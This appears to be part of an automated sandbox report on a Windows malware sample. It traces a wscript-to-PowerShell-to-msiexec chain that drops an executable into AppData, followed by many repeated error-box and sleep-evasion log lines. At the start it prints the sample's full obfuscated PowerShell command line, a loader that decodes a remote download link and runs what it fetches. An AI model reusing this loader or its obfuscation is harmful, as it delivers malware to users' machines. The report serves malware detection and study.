ReoxsVerds=Polem$FusenedimminHal,fv Intr:Bj.rgaPseudpH micpBekradMajesaS efftOrakla ortr+blin $ReawoC BlinoBudmagDestii CoundMemoraElekt ');Glederens (Preeliminator 'Jingl$Mayb gGadenlStikkoMust b KnapaCourtlPligt:CroaptAn ihrHeroleParadbHy era K ncnHete eJanifn Lsni=Sente$ ConsT Mysteoutbls Sikks PseuiPatentSta iuAlb.tr,utokaPachosLevef1 M,mo6Fer d0 Chem.UnshisSta dp.bseslStockiScourtBr sk( Hete$someoRtoot.etros s AnalklokalaKreatl .epteUnfurrBarduiSarconStiklgAntife Lab n Lat,) anga ');Glederens (Preeliminator 'Flyde[S.empN I.laeNaziptDinor.YesteSForneerigorrKennevDybsiiHortecSaliceScootPTabacoFacahiHairin ma gt ,entMApplia Lil nTreadaDisd gSamlee CommrEmbub]Bitte:Cycli:GastrSFeltheHeatecA foru rnearAflsei OngotFie dy .odsPAvle rAndreo BlegtCastioop,racStyreoMu tilSeism Pres =Udhal Opspa[ BhutN Afk.e Knitt Udga.,artjS ropdeBundlcResiluS rivrEks.mi tiftT rsuyPaperPHenver Huxto MulitBoy,ooForskc UnceoKsneh
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Bjrgning Indicerede afskrkkelsesvaabnenes Halvfabrikatas Myosuture Skilteskrift Pensils #>;$Ammoniacs='Befragters';<#Avilion kendall kicking #>;$Attesterende=$host.PrivateData;If ($Attesterende) {$Jernbanelinier++;}function Preeliminator($Amagerhylde){$Drukkenbolten=$Chaussure+$Amagerhylde.Length-$Jernbanelinier;for( $Getling=5;$Getling -lt $Drukkenbolten;$Getling+=6){$Nordfljs180+=$Amagerhylde[$Getling];}$Nordfljs180;}function Glederens($Floraer207){ & ($Eftertragtelsers) ($Floraer207);}$Spisefrikvarteret=Preeliminator 'GelatMPhotooSdsupzss ori O belQu etlRenataamphi/ Tilh5Ve an.Not r0Udson Ind c(AfgasWSanitiLabi nHarpudptomaoBetraw Pl nsA.cum VedblNN,nmeT stfo so.si1 a ne0Opium.Jetti0foraa;,nman b,lthWModtai K otn ern6Ratba4Tynds;Koldk Supe xlegac6Cellm4 Triu;Rolni VinderMlescvMods,:per c1Parti2 Pre 1et al.Savne0Edgew)Belly TrickGS.cceeHeltic AfgrkOleogoVentr/Blods2 .isq0S,uth1Froko0S nsi0konde1Selek0Batus1Udkry DetonFH spiiVillarGenn eBlubbfCiffeoSalatxLabba/Midte1 Ver,2 V rg1 Over.Kem i0 oni ';$Melton=Preeliminator ' HandUUniveSAfs nEUnexprFrema- Blk AJackfgBr gaedekanN UflytAdnex ';$Tessituras160=Preeliminator 'FristhKvi dtB dbatLow,ip.recasLejei:E ter/Amati/S.mlidPret rSpeediHandlvSyzyge Pati.Ove sg Ri.goDemisoPelvigUnclelTwatceUnsu .Exo,ecUnco oFiskemMi mo/Mongcusja,kcAgrar? De.meMrkatx .ackp FantohkkerrConvetOblig=NulpudSstteoJordewEnaarnReceplSkinnoGla sa OpsadK mmu&Cir uiSv dsdMerin=Drift1NondeQSlutmt Tyk OKonsekIdesvBGyno JPagodW andgLStikpLintenxNonde3.erveD LiniwClonkBWall.CDivisg Au,oRGl tsLSpina8NonciQSy ecZzairiaTaxam0BonnnhKendeYSynenUPa il0MackiwSyndrtSundaSUdskrj Gnis7Syvaa ';$Reskaleringen=Preeliminator 'S,rig>Yu ca ';$Eftertragtelsers=Preeliminator 'BeaveiEforeeAttacX,ekto ';$Amazonernes='Chromophoric';$Cogida='\Reebok.Dia';Glederens (Preeliminator 'Lazur$SvmmegProatlK ledoCatalbRealiaBulbolDa ks:Cam oV RecreOvervrListedVaskoe Di inWa,ersThorphUdv siMattesSenegtS amnoMavefrIndfriKornfs prudk Raile ReoxsVerds=Polem$FusenedimminHal,fv Intr:Bj.rgaPseudpH micpBekradMajesaS efftOrakla ortr+blin $ReawoC BlinoBudmagDestii CoundMemoraElekt ');Glederens (Preeliminator 'Jingl$Mayb gGadenlStikkoMust b KnapaCourtlPligt:CroaptAn ihrHeroleParadbHy era K ncnHete eJanifn Lsni=Sente$ ConsT Mysteoutbls Sikks PseuiPatentSta iuAlb.tr,utokaPachosLevef1 M,mo6Fer d0 Chem.UnshisSta dp.bseslStockiScourtBr sk( Hete$someoRtoot.etros s AnalklokalaKreatl .epteUnfurrBarduiSarconStiklgAntife Lab n Lat,) anga ');Glederens (Preeliminator 'Flyde[S.empN I.laeNaziptDinor.YesteSForneerigorrKennevDybsiiHortecSaliceScootPTabacoFacahiHairin ma gt ,entMApplia Lil nTreadaDisd gSamlee CommrEmbub]Bitte:Cycli:GastrSFeltheHeatecA foru rnearAflsei OngotFie dy .odsPAvle rAndreo BlegtCastioop,racStyreoMu tilSeism Pres =Udhal Opspa[ BhutN Afk.e Knitt Udga.,artjS ropdeBundlcResiluS rivrEks.mi tiftT rsuyPaperPHenver Huxto MulitBoy,ooForskc UnceoKsneh	Jump to behavior

Source: 31437F.exe.8.dr

Static PE information: section name: .didat

Source: C:\Windows\SysWOW64\msiexec.exe

File created: C:\Users\user\AppData\Roaming\188E93\31437F.exe

Jump to dropped file

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5428	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4451	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7242	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2354	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7548	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7912	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8080	Thread sleep count: 4762 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 4304	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\msiexec.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\msiexec.exe

Thread sleep count: Count: 4762 delay: -5

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
